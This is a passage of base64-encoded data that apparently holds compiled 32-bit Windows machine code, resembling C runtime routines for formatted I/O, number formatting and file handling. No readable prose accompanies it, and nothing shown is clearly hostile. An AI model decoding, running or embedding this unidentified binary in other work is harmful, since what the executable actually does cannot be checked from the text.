GY7w3RNx4UU/f//AQAAADv+dCODvfT8//8AdA7/jSj9//91Bv6FP/3//8eF6Pz//28AAADrXP+1IP3///+NOP3//1PolfP//1lZajBb6UoBAAD/tSD9////hTj9///ozVX//4O99Pz//wAPt9hZiZ0w/f//dBaDrSj9//8Cg70o/f//AX0G/oU//f//ibXo/P//i73o/P//6QUBAACDpRD9//8AUv+18Pz//42FEP3//1NQ6PgiAACDxBCD+CIPhHMEAACLhRD9//+FwA+OTfz//wPYKYXw/P//iZ34/P//6Tr8//+DxgLpMvz///+1IP3///+NOP3//1Lo3vL//1lZO/MPhGEEAACAvS/9//8AD4VRAwAA/4Xs/P//g/9jD4RCAwAAgL0f/f//AHQQi434/P//M8BmiQHpKQMAAIuF+Pz//8YAAOkbAwAAxoUn/f//AYudMP3//2otWGY7w3UJxoUd/f//AesIaitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///omFT//1kPt9iJnTD9//+DvRD9//8AD4RiAQAAgL0//f//AA+FJAEAAIP/eHR4g/9wdHP3wwD/AAAPhfoAAAAPtsNQ6AJP//9ZhcAPhOgAAACD/291LWo4WGY7ww+G1wAAAIuFBP3//4uNCP3//w+kwQPB4AOJhQT9//+JjQj9///rbGoAagr/tQj9////tQT9///oG1L//4mFBP3//4mVCP3//+tJ98MA/wAAD4WHAAAAD7bDUOgTT///WYXAdHmLhQT9//+LjQj9//8PpMEEweAEU4mFBP3//4mNCP3//+gv8f//D7fYWYmdMP3///+FFP3//w+3w4PoMJkBhQT9//8RlQj9//+DvfT8//8AdAj/jSj9//90NP+1IP3///+FOP3//+hzU///D7fYWYmdMP3//+nw/v///7Ug/f///404/f//U+j/8P//WVmAvR39//8AD4QaAQAAi4UE/f//i40I/f//99iD0QD32YmFBP3//4mNCP3//+n2AAAAgL0//f//AA+F2gAAAIP/eHRKg/9wdEX3wwD/AAAPhbAAAAAPtsNQ6KBN//9ZhcAPhJ4AAACD/291F2o4WGY7ww+GjQAAAIuFDP3//8HgA+s+i4UM/f//a8AK6zP3wwD/AAB1bw+2w1Do403//1mFwHRhwaUM/f//BFPoF/D//w+32IuFDP3//1mJnTD9////hRT9//+DvfT8//8AD7fLjUQI0ImFDP3//3QI/40o/f//dDT/tSD9////hTj9///oW1L//w+32FmJnTD9///pOv////+1IP3///+NOP3//1Po5+///1lZgL0d/f//AHQG950M/f//g/9GdQeDpRT9//8Ag70U/f//AA+ESgEAAIC9L/3//wB1Pv+F7Pz//4ud+Pz//4uFDP3//4O9EP3//wB0E4uFBP3//4kDi4UI/f//iUME6xCAvSf9//8AdASJA+sDZokDi7X8/P///oUe/f//g8YCibX8/P//6z5mO8h1CWY7TgJ1A4PGAv+1IP3///+FOP3//+iTUf//D7fAWWaLDoPGAomFMP3//4m1/Pz//2Y7yA+FmwAAALj//wAAZjuFMP3//3UdZoM+JQ+FlgAAAIuF/Pz//2aDeAJuD4WFAAAAi/APtwZmhcAPherv///rdYC9N/3//wB+BzPAZokD6wPGAwDorCn//8cADAAAAOtVVlZWVlbopmD///+1IP3//1Dosu7//8eFzPz//wEAAADrMeh9Kf//gL0f/f//AMcADAAAAHQHM8BmiQbrGMYGAOsT/7Ug/f///7Uw/f//6HXu//9ZWYO90Pz//wFbdQz/tdz8///oOP/+/1mDveD8//8BdQz/tRj9///oI//+/1m4//8AAGY7hTD9//91KouF7Pz//4XAdQs4hR79//91A4PI/4C9yPz//wB0PouNxPz//4NhcP3rMoO9zPz//wF1EOjeKP//xwAWAAAA6DFg//+Avcj8//8AdAqLhcT8//+DYHD9i4Xs/P//i038XzPNXuhQ+f7/ycOL/1WL7IN9CAB1FeicKP//xwAWAAAA6O9f//+DyP9dw/91CGoA/zUoJQUQ/xUI4QMQXcODPSwyBRAAdQXohY3//1aLNeghBRBXM/+F9nUYg8j/6ZEAAAA8PXQBR1bo9yz//1mNdAYBigaEwHXqagRHV+ipRf//i/hZWYk9WCUFEIX/dMuLNeghBRBT6zNW6MYs//+APj1ZjVgBdCJqAVPoe0X//1lZiQeFwHQ/VlNQ6GZf//+DxAyFwHVHg8cEA/OAPgB1yP816CEFEOja/f7/gyXoIQUQAIMnAMcFIDIFEAEAAAAzwFlbX17D/zVYJQUQ6LT9/v+DJVglBRAAg8j/6+QzwFBQUFBQ6Kpe///Mi/9Vi+xRi00QUzPAVokHi/KLVQzHAQEAAAA5RQh0CYtdCINFCASJE4lF/IA+InUQM8A5RfyzIg+UwEaJRfzrPP8HhdJ0CIoGiAJCiVUMih4PtsNQRuj3RwAAWYXAdBP/B4N9DAB0CotNDIoG/0UMiAFGi1UMi00QhNt0MoN9/AB1qYD7IHQFgPsJdZ+F0nQExkL/AINl/ACAPgAPhOkAAACKBjwgdAQ8CXUGRuvzTuvjgD4AD4TQAAAAg30IAHQJi0UIg0UIBIkQ/wEz20MzyesCRkGAPlx0+YA+InUm9sEBdR+DffwAdAyNRgGAOCJ1BIvw6w0zwDPbOUX8D5TAiUX80emFyXQSSYXSdATGAlxC/weFyXXxiVUMigaEwHRVg338AHUIPCB0SzwJdEeF23Q9D77AUIXSdCPoEkcAAFmFwHQNigaLTQz/RQyIAUb/B4tNDIoG/0UMiAHrDejvRgAAWYXAdANG/wf/B4tVDEbpVv///4XSdAfGAgBCiVUM/weLTRDpDv///4tFCF5bhcB0A4MgAP8BycOL/1WL7IPsDFMz21ZXOR0sMgUQdQXoA4v//2gEAQAAviAtBRBWU4gdJC4FEP8VBOEDEKE4MgUQiTVoJQUQO8N0B4lF/DgYdQOJdfyLVfyNRfhQU1ONffToCv7//4tF+IPEDD3///8/c0qLTfSD+f9zQov4wecCjQQPO8FyNlDorkL//4vwWTvzdCmLVfyNRfhQA/5XVo199OjJ/f//i0X4g8QMSKNMJQUQiTVQJQUQM8DrA4PI/19eW8nDi/9Vi+yD7AxTVv8VHOEDEIvYM/Y73nUEM8Drd2Y5M3QQg8ACZjkwdfiDwAJmOTB18FeLPUjiAxBWVlYrw1bR+EBQU1ZWiUX0/9eJRfg7xnQ4UOgfQv//WYlF/DvGdCpWVv91+FD/dfRTVlb/14XAdQz/dfzozfr+/1mJdfxT/xUY4QMQi0X86wlT/xUY4QMQM8BfXlvJw4v/VrgYuwQQvhi7BBBXi/g7xnMPiweFwHQC/9CDxwQ7/nLxX17Di/9WuCC7BBC+ILsEEFeL+DvGcw+LB4XAdAL/0IPHBDv+cvFfXsOL/1WL7FbogWT//4vwhfYPhDIBAACLTlyLVQiLwVc5EHQNg8AMjbmQAAAAO8dy74HBkAAAADvBcwQ5EHQCM8CFwHQHi1AIhdJ1BzPA6fUAAACD+gV1DINgCAAzwEDp5AAAAIP6AQ+E2AAAAItNDFOLXmCJTmCLSASD+QgPhbYAAABqJFmLflyDZDkIAIPBDIH5kAAAAHztiwCLfmQ9jgAAwHUJx0ZkgwAAAOt+PZAAAMB1CcdGZIEAAADrbj2RAADAdQnHRmSEAAAA6149kwAAwHUJx0ZkhQAAAOtOPY0AAMB1CcdGZIIAAADrPj2PAADAdQnHRmSGAAAA6y49kgAAwHUJx0ZkigAAAOsePbUCAMB1CcdGZI0AAADrDj20AgDAdQfHRmSOAAAA/3Zkagj/0lmJfmTrB4NgCABR/9JZiV5gW4PI/19eXcOL/1WL7Lhjc23gOUUIdQ3/dQxQ6J7+//9ZWV3DM8BdwzPAQMIMAIv/VYvsg+wQodAGBRCDZfgAg2X8AFNXv07mQLu7AAD//zvHdA2Fw3QJ99Cj1AYFEOtlVo1F+FD/FSzhAxCLdfwzdfj/FSjhAxAz8P8ViOIDEDPw/xUk4QMQM/CNRfBQ/xUg4QMQi0X0M0XwM/A793UHvk/mQLvrEIXzdQyLxg0RRwAAweAQC/CJNdAGBRD31ok11AYFEF5fW8nDi/9Vi+yB7JAAAACh0AYFEDPFiUX8g30MAYtFCFNWV4t9GImFeP///w+F7wAAAIOldP///wBogAAAAI2dfP///4vLUf91FP91EFDosUMAAIvwg8QUhfZ1Yv8VeOEDEIP4enV4Vlb/dRT/dRD/tXj////oikMAAIPEFImFcP///4XAdFhGVlDoQj///4vYWVmF23RI/7Vw////ibV0////U/91FP91EP+1eP///+hPQwAAi/CDxBSF9nQaagFW6As///+JBzP/WVk7x3UhOb10////dAdT6H73/v9Zg8j/i038X14zzVvoEfL+/8nDjU7/UVNWUOi2qv//g8QQhcB1Ezm9dP///3QHU+hK9/7/WTPA68tXV1dXV+hJWP//g30MAnVIizVI4QMQM8BQUP91FIkH/3UQ/9aL2IXbdB5qAlPoiD7//1lZiQeFwHQOU1D/dRT/dRD/1oXAdbT/N+j29v7/gycAWelw////g30MAA+FZv///4OleP///wBqAo2FeP///1CLRRQNAAAAIFD/dRD/FUjhAxCFwA+EPP///4qFeP///4gH6WP///+L/1WL7ItFCKMoLgUQXcNqCGgYwwQQ6JBp///oLmH//4tAeIXAdBaDZfwA/9DrBzPAQMOLZejHRfz+////6OZU///oqWn//8PoAWH//4tAfIXAdAL/0Om0////aghoOMMEEOhEaf///zUsLgUQ/xVo4gMQhcB0FoNl/AD/0OsHM8BAw4tl6MdF/P7////off///8xoFFoDEP8VZOIDEKMsLgUQw8zMzMzMzMxVi+yD7ARTUYtFDIPADIlF/ItFCFX/dRCLTRCLbfzo6TQAAFZX/9BfXovdXYtNEFWL64H5AAEAAHUFuQIAAABR6Mc0AABdWVvJwgwAuNASBRDDuCASBRDDi/9Vi+wzwECDfQgAdQIzwF3Di/9Vi+wzwDlFDHYSi00IZoM5AHQJQIPBAjtFDHLxXcPMzMzMzMxWi0QkFAvAdSiLTCQQi0QkDDPS9/GL2ItEJAj38Yvwi8P3ZCQQi8iLxvdkJBAD0etHi8iLXCQQi1QkDItEJAjR6dHb0erR2AvJdfT384vw92QkFIvIi0QkEPfmA9FyDjtUJAx3CHIPO0QkCHYJTitEJBAbVCQUM9srRCQIG1QkDPfa99iD2gCLyovTi9mLyIvGXsIQAIv/VYvsi00Ihcl0G2rgM9JY9/E7RQxzD+jBHv//xwAMAAAAM8Bdww+vTQxWi/GF9nUBRjPAg/7gdxNWagj/NSglBRD/FYDiAxCFwHUygz2oKwUQAHQcVuhmY///WYXAddKLRRCFwHQGxwAMAAAAM8DrDYtNEIXJdAbHAQwAAABeXcOL/1WL7ItNDFMz2zvLdhtq4DPSWPfxO0UQcw/oPB7//8cADAAAADPA60EPr00QVleL8TldCHQL/3UI6HH1//9Zi9hW/3UI6CQY//+L+FlZhf90FDvecxAr81ZqAAPfU+j1RP//g8QMi8dfXltdw8zMzMzMzMzMzMzMUY1MJAgryIPhDwPBG8kLwVnpKjkAAFGNTCQIK8iD4QcDwRvJC8FZ6RQ5AACL/1WL7IPsGFP/dRCNTejoEP/+/4tdCI1DAT0AAQAAdw+LReiLgMgAAAAPtwRY63WJXQjBfQgIjUXoUItFCCX/AAAAUOiHCwAAWVmFwHQSikUIagKIRfiIXfnGRfoAWesKM8mIXfjGRfkAQYtF6GoB/3AU/3AEjUX8UFGNRfhQjUXoagFQ6PDE//+DxCCFwHUQOEX0dAeLRfCDYHD9M8DrFA+3RfwjRQyAffQAdAeLTfCDYXD9W8nDi/9Vi+yD7BBW/3UMjU3w6Fj+/v+LdQgPvgZQ6MRB//+D+GXrDEYPtgZQ6PQ+//+FwFl18Q++BlDop0H//1mD+Hh1A4PGAotN8IuJvAAAAIsJigaKCYgORooOiAaKwYoORoTJdfNeOE38dAeLRfiDYHD9ycOL/1WL7IPsEFb/dQyNTfDo5P3+/4tFCIoIi3XwhMl0FYuWvAAAAIsSihI6ynQHQIoIhMl19YoIQITJdDbrC4D5ZXQMgPlFdAdAigiEyXXvi9BIgDgwdPqLjrwAAACLCVOKGDoZW3UBSIoKQEKICITJdfaAffwAXnQHi0X4g2Bw/cnDi/9Vi+zZ7otFCNwY3+D2xEF6BTPAQF3DM8Bdw4v/VYvsUVGDfQgA/3UU/3UQdBmNRfhQ6Os9AACLTfiLRQyJCItN/IlIBOsRjUUIUOh6PgAAi0UMi00IiQiDxAzJw4v/VYvsagD/dRD/dQz/dQjoqf///4PEEF3Di/9Wi/CF/3QUVugvIP//QFBWA/dW6BTu/v+DxBBew4v/VYvsagD/dQjoZP7//1lZXcOL/1WL7GoA/3UI6MX+//9ZWV3Di/9Vi+yD7BBTVv91HI1N8IvY6KL8/v8zyTvZdSLoKhv//2oWXokw6H5S//+AffwAdAeLRfiDYHD9i8ZeW8nDOU0Idtk5TQx+BYtFDOsCM8CDwAk5RQh3CejvGv//aiLrw1c4TRh0HotVFDPAOU0MD5/AM8mDOi0PlMGL+APLi8HoNv///4t9FIM/LYvzdQbGAy2NcwGDfQwAfhWKTgGLRfCIDouAvAAAAIsAigBGiAYzwDhFGA+UwANFDAPwg30I/3UFg8v/6wUr3gNdCGjQCwQQU1bo4VH//4PEDIXAdXSNTgI5RRB0A8YGRYtHDIA4MHQvi0cESHkG99jGRgEtg/hkfAuZamRf9/8ARgKLwoP4CnwLmWoKX/f/AEYDi8IARgT2BaAuBRABX3QUgDkwdQ9qA41BAVBR6Kzs/v+DxAyAffwAdAeLRfiDYHD9M8Dp5/7//zPAUFBQUFDo+FD//8yL/1WL7IPsLKHQBgUQM8WJRfyLRQhTVot1FFeLfQxqFltTjU3kUY1N1FH/cAT/MOiHPgAAg8QUhf91EOirGf//iRjoAlH//4vD622LRRCFwHTpg/j/dQQLwOsUM8mDfdQtD5TBK8EzyYX2D5/BK8GNTdRRjU4BUVAzwIN91C0PlMAzyYX2D5/BA8cDyFHowzwAAIPEEIXAdAXGBwDrGv91HI1F1GoAUP91GIvHVv91EOjq/f//g8QYi038X14zzVvoyOn+/8nDi/9Vi+xqAP91GP91FP91EP91DP91COge////g8QYXcOL/1WL7IPsJFZX/3UcjU3cx0Xs/wMAADP/x0X8MAAAAOhM+v7/OX0UfQOJfRSLdQw793Uj6MsY//9qFl6JMOgfUP//gH3oAHQHi0Xkg2Bw/YvG6RsDAAA5fRB22ItFFIPAC8YGADlFEHcJ6JUY//9qIuvIi30IiweJRfSLRwSLyMHpFLr/BwAAUyPKM9s7yg+FkgAAAIXbD4WKAAAAi0UQg/j/dQQLwOsDg8D+agD/dRSNXgJQU1foJP///4PEFIXAdBmAfegAxgYAD4ShAgAAi03kg2Fw/emVAgAAgDstdQTGBi1Gg30YAMYGMA+UwP7IJOAEeIhGAWplg8YCVujuOQAAWVmFwA+EVQIAAIN9GAAPlMH+yYDh4IDBcIgIxkADAOk7AgAAJQAAAIAzyQvIdATGBi1Gi10YhdsPlMD+yCTgBHj32xvbxgYwiEYBi08Eg+PggeEAAPB/M8CDwycz0gvBdSTGRgIwi08EiweB4f//DwCDxgMLwXUFiVXs6xDHRez+AwAA6wfGRgIxg8YDi8ZGiUUMOVUUdQSIEOsPi03ci4m8AAAAiwmKCYgIi08EiweB4f//DwCJTfh3CDvCD4a0AAAAiVX0x0X4AAAPAIN9FAB+TItXBCNV+IsHD79N/CNF9IHi//8PAOhhPQAAZoPAMA+3wIP4OXYCA8OLTfiDbfwEiAaLRfQPrMgEwekERv9NFGaDffwAiUX0iU34fa5mg338AHxRi1cEI1X4iwcPv038I0X0geL//w8A6A49AABmg/gIdjGNRv+KCID5ZnQFgPlGdQbGADBI6+47RQx0FIoIgPk5dQeAwzqIGOsJ/sGICOsD/kD/g30UAH4R/3UUajBW6HY9//+DxAwDdRSLRQyAOAB1Aovwg30YALE0D5TA/sgk4ARwiAaLB4tXBOibPAAAM9sl/wcAACPTK0XsU1kb0XgPfwQ7w3IJxkYBK4PGAusNxkYBLYPGAvfYE9P32ov+xgYwO9N8JLnoAwAAfwQ7wXIZU1FSUOhwOwAABDCIBkaJVfCLwYvTO/d1C4XSfB5/BYP4ZHIXagBqZFJQ6Eo7AAAEMIgGiVXwRovBi9M793ULhdJ8H38Fg/gKchhqAGoKUlDoJDsAAAQwiAaJVfBGi8GJXfAEMIgGxkYBAIB96AB0B4tF5INgcP0zwFtfXsnDi/9Vi+yD7BBTVlf/dRSL+It3BIvZjU3wTujd9v7/hdt1I+hnFf//ahZeiTDou0z//4B9/AB0B4tF+INgcP2Lxum5AAAAg30IAHbXgH0QAHQVO3UMdRAzwIM/LQ+UwAPGZscEGDAAgz8ti/N1BsYDLY1zAYtHBIXAfxxWjV4B6LgZ//9AUFZT6J/n/v/GBjCDxBCL8+sCA/CDfQwAflFWjV4B6JQZ//9AUFZT6Hvn/v+LRfCLgLwAAACLAIoAiAaLfwSDxBCF/3km99+AfRAAdQU5fQx8A4l9DIt9DIvD6Br5//9XajBT6J87//+DxAyAffwAdAeLRfiDYHD9M8BfXlvJw4v/VYvsg+wsodAGBRAzxYlF/ItFCFZXi30MahZeVo1N5FGNTdRR/3AE/zDoKzkAAIPEFIX/dRDoTxT//4kw6KZL//+LxutsU4tdEIXbdRDoNxT//4kw6I5L//+LxutTg8j/O9h0DTPJg33ULYvDD5TBK8GLdRSNTdRRi03YA85RUDPAg33ULQ+UwAPHUOhjNwAAg8QQhcB0BcYHAOsU/3UYjUXUagBWU4vP6E7+//+DxBBbi038XzPNXuhu5P7/ycOL/1WL7IPsLKHQBgUQM8WJRfyLRQhWi3UMV2oWX1eNTeRRjU3UUf9wBP8w6Go4AACDxBSF9nUT6I4T//+JOOjlSv//i8fplQAAAItNEIXJdOZTi13YM8BLg33ULQ+UwI08MIP5/3UEC8nrAivIjUXUUP91FFFX6Lk2AACDxBCFwHQFxgYA61eLRdhIO9gPnMGD+Px8LTtFFH0ohMl0CooHR4TAdfmIR/7/dRyNRdRqAf91FIvO/3UQ6H/9//+DxBDrHP91HI1F1GoBUP91GIvG/3UU/3UQ6KP3//+DxBhbi038XzPNXuiB4/7/ycOL/1WL7ItFFIP4ZXRfg/hFdFqD+GZ1Gf91IP91GP91EP91DP91COgn/v//g8QUXcOD+GF0HoP4QXQZ/3Ug/3Uc/3UY/3UQ/3UM/3UI6ML+///rMP91IP91HP91GP91EP91DP91COhv+f//6xf/dSD/dRz/dRj/dRD/dQz/dQjob/j//4PEGF3Di/9Vi+xqAP91HP91GP91FP91EP91DP91COha////g8QcXcOL/1ZXM///t+ASBRD/FWTiAxCJh+ASBRCDxwSD/yhy5l9ew4v/VmgAAAMAaAAAAQAz9lbobzgAAIPEDIXAdApWVlZWVuj1SP//XsOL/1WL7IPsEP91DI1N8OhB8/7/D7ZFCItN8IuJyAAAAA+3BEElAIAAAIB9/AB0B4tN+INhcP3Jw4v/VYvsagD/dQjouf///1lZXcPMzMzMzMzMzMyL/1WL7IPsJKHQBgUQM8WJRfyLRRCLTQxTVot1CFdQM/9XV1dXUY1F3FCNRfBQiU3gM9vo0UIAAIPEIIlF7KgEdA27AAIAAIl95Il96OswjUXkUI1F8FDoCzgAAPZF7AJZWXUFg/gBdQW7gAAAAPZF7AF1BYP4AnUGgcsAAQAAi0XcK0Xgi038iUYEi0XkiUYQi0XoiUYUX4kei8ZeM81b6JDh/v/Jw2YP78BRU4vBg+APhcB1f4vCg+J/wegHdDeNpCQAAAAAZg9/AWYPf0EQZg9/QSBmD39BMGYPf0FAZg9/QVBmD39BYGYPf0FwjYmAAAAASHXQhdJ0N4vCwegEdA/rA41JAGYPfwGNSRBIdfaD4g90HIvCM9vB6gJ0CIkZjUkESnX4g+ADdAaIGUFIdfpbWMOL2Pfbg8MQK9MzwFKL04PiA3QGiAFBSnX6wesCdAiJAY1JBEt1+FrpVf///4v/VYvsVot1CIX2dRXoIBD//8cAFgAAAOhzR///6QYBAACLRgyogw+E+wAAAKhAD4XzAAAAqAJ0C4PIIIlGDOnkAAAAg8gBiUYMqQwBAAB1CVbo7wQAAFnrBYtGCIkG/3YY/3YIVugA+f7/WVDorGf//4PEDIlGBIXAD4SXAAAAg/gBD4SOAAAAg/j/D4SFAAAA9kYMgnVRVujN+P7/WYP4/3QwVujB+P7/WYP4/nQkV1botPj+/8H4BVaNPIUgMQUQ6KT4/v+D4B9ZweAGAwdZX+sFuGAKBRCKQAQkgjyCdQeBTgwAIAAAgX4YAAIAAHUVi0YMqAh0DqkABAAAdQfHRhgAEAAAiw6DRgT+D7cBg8ECiQ7rFvfYG8CD4BCDwBAJRgyDZgQAuP//AABeXcOL/1WL7IPsEFNWi3UMM9s783QVOV0QdBA4HnUSi0UIO8N0BTPJZokIM8BeW8nD/3UUjU3w6Dbw/v+LRfA5WBR1HotFCDvDdAYPtg5miQg4Xfx0B4tF+INgcP0zwEDry41F8FAPtgZQ6K/8//9ZWYXAdH2LRfCLiKwAAACD+QF+JTlNEHwgM9I5XQgPlcJS/3UIUVZqCf9wBP8VXOIDEIXAi0XwdRCLTRA7iKwAAAByIDheAXQbi4CsAAAAOF38D4Rm////i034g2Fw/ela////6C0O///HACoAAAA4Xfx0B4tF+INgcP2DyP/pO////zPAOV0ID5XAUP91CItF8GoBVmoJ/3AE/xVc4gMQhcAPhTr////ruov/VYvsagD/dRD/dQz/dQjo1f7//4PEEF3Di/9Vi+xRVot1DFbo+/b+/4lFDItGDFmognUZ6LIN///HAAkAAACDTgwguP//AADpPQEAAKhAdA3olQ3//8cAIgAAAOvhqAF0F4NmBACoEA+EjQAAAItOCIPg/okOiUYMi0YMg2YEAINl/ABTagKD4O9bC8OJRgypDAEAAHUs6NP0/v+DwCA78HQM6Mf0/v+DwEA78HUN/3UM6J0KAABZhcB1B1boPQIAAFn3RgwIAQAAVw+EgwAAAItGCIs+jUgCiQ6LThgr+CvLiU4Ehf9+HVdQ/3UM6AK9//+DxAyJRfzrToPIIIlGDOk9////i00Mg/n/dBuD+f50FovBg+Afi9HB+gXB4AYDBJUgMQUQ6wW4YAoFEPZABCB0FVNqAGoAUegeBwAAI8KDxBCD+P90LYtGCItdCGaJGOsdagKNRfxQ/3UMi/uLXQhmiV386Iq8//+DxAyJRfw5ffx0C4NODCC4//8AAOsHi8Ml//8AAF9bXsnDi/9Vi+yD7BBTVot1DDPbV4t9EDvzdRE7+3YNi0UIO8N0AokYM8Dre4tFCDvDdAODCP+B/////392E+gfDP//ahZeiTDoc0P//4vG61b/dRiNTfDoc+3+/4tF8DlYFA+FkAAAAGaLRRS5/wAAAGY7wXY2O/N0Dzv7dgtXU1bo2TL//4PEDOjUC///xwAqAAAA6MkL//+LADhd/HQHi034g2Fw/V9eW8nDO/N0Jjv7dyDoqQv//2oiXokw6P1C//84Xfx0hYtF+INgcP3pef///4gGi0UIO8N0BscAAQAAADhd/A+EPP///4tF+INgcP3pMP///41NDFFTV1ZqAY1NFFFTiV0M/3AE/xVI4gMQO8N0FDldDA+Fav///4tNCDvLdL2JAeu5/xV44QMQg/h6D4VQ////O/MPhHP///87+w+Ga////1dTVugOMv//g8QM6Vv///+L/1WL7GoA/3UU/3UQ/3UM/3UI6JP+//+DxBRdw4v/VYvs/wXcIQUQaAAQAADoBSj//1mLTQiJQQiFwHQNg0kMCMdBGAAQAADrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXcNqEGhYwwQQ6JRT//+LXQiD+/51E+iKCv//xwAJAAAAg8j/6aEAAACF23gIOx0QMQUQchLoawr//8cACQAAAOi+Qf//69qLw8H4BY08hSAxBRCL84PmH8HmBosHD75EBgSD4AF0zlPoF37//1mDZfwAiwf2RAYEAXQxU+iaff//WVD/FXThAxCFwHUL/xV44QMQiUXk6wSDZeQAg33kAHQZ6BEK//+LTeSJCOj0Cf//xwAJAAAAg03k/8dF/P7////oDAAAAItF5OgYU///w4tdCFPoSn7//1nDi/9Vi+y4IBAAAOgYJQAAodAGBRAzxYlF/FNWi3UIV1bo3vL+/4vYM8BZiZ3o7///OUYEfQOJRgRqAVBQU+j6AwAAg8QQi/iJvezv//+JlfDv//+F0n8QfASF/3MKg8j/C9Dp1AIAAIvDwfgFjQSFIDEFEIPjH4mF5O///4sAweMGA8OKSCQCydD590YMCAEAAIiN++///3UXi0YEi43w7///mSv4G8qLx4vR6YsCAACLDotWDIv5K34Iib307///9sIDD4RbAQAAgL377///AQ+FGgEAADPSOVAwD4QPAQAA0e+JveDv//85VgR1EYuF7O///4uV8O///+k8AgAAUv9wLP9wKP+16O///+grAwAAi/CLheTv//+LAIPEEIv6O3QYKA+FM////zt8GCwPhSn///9qAI2N9O///1FoABAAAI2N/O///1H/NBj/FcThAxCFwA+EA////2oA/7Xw7////7Xs7////7Xo7///6MkCAACDxBCF0n8OD4zd/v//hcAPgtX+//+LjfTv//+LneDv//872Q+Hwf7//42F/O///4XbdDeNlA387///SzvCcyuKCID5DXUTjUr/O8FzGI1IAYA5CnUQi8HrDA+2yQ++iWAJBRADwUCF23XQjY387///K8Ez0gPGE9fpSwEAAPZABIB0FYtWCOsMgDoKdQb/hfTv//9CO9Fy8IuV7O///wuV8O///3Ufi4X07///6RcBAACE0njj6J0H///HABYAAADpJf7///ZGDAEPhNYAAACLVgSF0nULIZX07///6cQAAAArTgj2QASAjTwKD4ScAAAAagJqAGoA/7Xo7///6McBAACDxBA7hezv//91JDuV8O///3Uci0YIjQw46weAOAp1AUdAO8Fy9fdGDAAgAADrWWoA/7Xw7////7Xs7////7Xo7///6H8BAACDxBCF0n8OD4yT/f//hcAPgov9//+4AAIAADv4dxKLTgz2wQh0Cov498EABAAAdAOLfhiLheTv//+LAPZEGAQEdAFHgL377///AXUC0e8pvezv//+DnfDv//8AgL377///AXUG0a307///i4X07///M9IDhezv//8TlfDv//+LTfxfXjPNW+gk1/7/ycNqEGh4wwQQ6HFP//8zwDlFCA+VwIXAdRfoYwb//8cAFgAAAOi2Pf//g8r/i8LrLv91COik7v7/WYNl/AD/dQjocvz//1mJReCJVeTHRfz+////6AwAAACLReCLVeToYE///8P/dQjo4+7+/1nDi/9Vi+xRUYtFDFaLdQiJRfiLRRBXVolF/Ohref//g8//WTvHdRHo6AX//8cACQAAAIvHi9frSv91FI1N/FH/dfhQ/xVg4QMQiUX4O8d1E/8VeOEDEIXAdAlQ6NoF//9Z68+LxsH4BYsEhSAxBRCD5h/B5gaNRDAEgCD9i0X4i1X8X17Jw2oUaJjDBBDof07//4PL/4ld3Ild4ItFCIP4/nUc6H8F//+DIADoZAX//8cACQAAAIvDi9PpoQAAAIXAeAg7BRAxBRByGuhXBf//gyAA6DwF///HAAkAAADojzz//+vRi8jB+QWNPI0gMQUQi/CD5h/B5gaLDw++TDEEg+EBdMZQ6Oh4//9Zg2X8AIsH9kQwBAF0HP91FP91EP91DP91COjX/v//g8QQiUXciVXg6xno2gT//8cACQAAAOjiBP//gyAAiV3ciV3gx0X8/v///+gMAAAAi0Xci1Xg6PFN///D/3UI6CR5//9Zw4v/VYvsi0UIozAuBRCjNC4FEKM4LgUQozwuBRBdw4v/VYvsi0UIiw2UCAQQVjlQBHQPi/Fr9gwDdQiDwAw7xnLsa8kMA00IXjvBcwU5UAR0AjPAXcP/NTguBRD/FWjiAxDDaiBouMMEEOgzTf//M/+JfeSJfdiLXQiD+wt/S3QVi8NqAlkrwXQiK8F0CCvBdFkrwXVD6DFE//+L+Il92IX/dRSDyP/pVAEAAL4wLgUQoTAuBRDrVf93XIvT6F3///9ZjXAIiwbrUYvDg+gPdDKD6AZ0IUh0EujHA///xwAWAAAA6Bo7///rub44LgUQoTguBRDrFr40LgUQoTQuBRDrCr48LgUQoTwuBRDHReQBAAAAUP8VaOIDEIlF4DPAg33gAQ+E1gAAADlF4HUHagPoMVL//zlF5HQHUOigdf//WTPAiUX8g/sIdAqD+wt0BYP7BHUbi09giU3UiUdgg/sIdT6LT2SJTdDHR2SMAAAAg/sIdSyLDYgIBBCJTdyLDYwIBBADDYgIBBA5Tdx9GYtN3GvJDItXXIlEEQj/Rdzr3ejuQf//iQbHRfz+////6BUAAACD+wh1H/93ZFP/VeBZ6xmLXQiLfdiDfeQAdAhqAOgxdP//WcNT/1XgWYP7CHQKg/sLdAWD+wR1EYtF1IlHYIP7CHUGi0XQiUdkM8Do4kv//8ODJQwxBRAAw4v/VYvsi0UIg/j+dQ/ohQL//8cACQAAADPAXcOFwHgIOwUQMQUQchLoagL//8cACQAAAOi9Of//696LyIPgH8H5BYsMjSAxBRDB4AYPvkQBBIPgQF3DodAGBRCDyAEzyTkFRC4FEA+UwYvBw/ZBDEB0BoN5CAB0JP9JBHgLixGIAv8BD7bA6wwPvsBRUOjSOf//WVmD+P91AwkGw/8Gw4v/VYvsUVNWi/CL2ejnAf//9kcMQIsAiUX8dAqDfwgAdQQBHutK6M0B//+DIADrKItFCIoAi89L6JD/////RQiDPv91E+iuAf//gzgqdQ2Lz7A/6HX///+F23/U6JcB//+DOAB1CuiNAf//i038iQheW8nDi/9Vi+yB7HgCAACh0AYFEDPFiUX8U4tdFFaLdQgzwFf/dRCLfQyNjbD9//+Jtaj9//+Jndj9//+JhaD9//+JhfD9//+Jhcz9//+Jhej9//+JhdD9//+JhaT9//+Jhcj9///oiuL+/4X2dSvoFAH//8cAFgAAAOhnOP//gL28/f//AHQKi4W4/f//g2Bw/YPI/+kJCwAA9kYMQHVeVugb6v7/WbpgCgUQg/j/dBuD+P50FovIg+Efi/DB/gXB4QYDDLUgMQUQ6wKLyvZBJH91m4P4/3QZg/j+dBSLyIPgH8H5BcHgBgMEjSAxBRDrAovC9kAkgA+Fcf///zP2O/4PhGf///+KF4m13P3//4m14P3//4m1wP3//4m1rP3//4iV7/3//4TSD4RaCgAAR4m9xP3//zm13P3//w+MMQoAAI1C4DxYdw8PvsIPtoC4CwQQg+AP6wIzwIuNwP3//2vACQ+2hAjYCwQQagjB6AReiYXA/f//O8YPhO/+//9qB1k7wQ+HyAkAAP8khd+EAxAzwION6P3///+JhZT9//+JhaT9//+Jhcz9//+JhdD9//+JhfD9//+Jhcj9///pjwkAAA++woPoIHRIg+gDdDQrxnQkSEh0FIPoAw+FcQkAAAm18P3//+lmCQAAg43w/f//BOlaCQAAg43w/f//A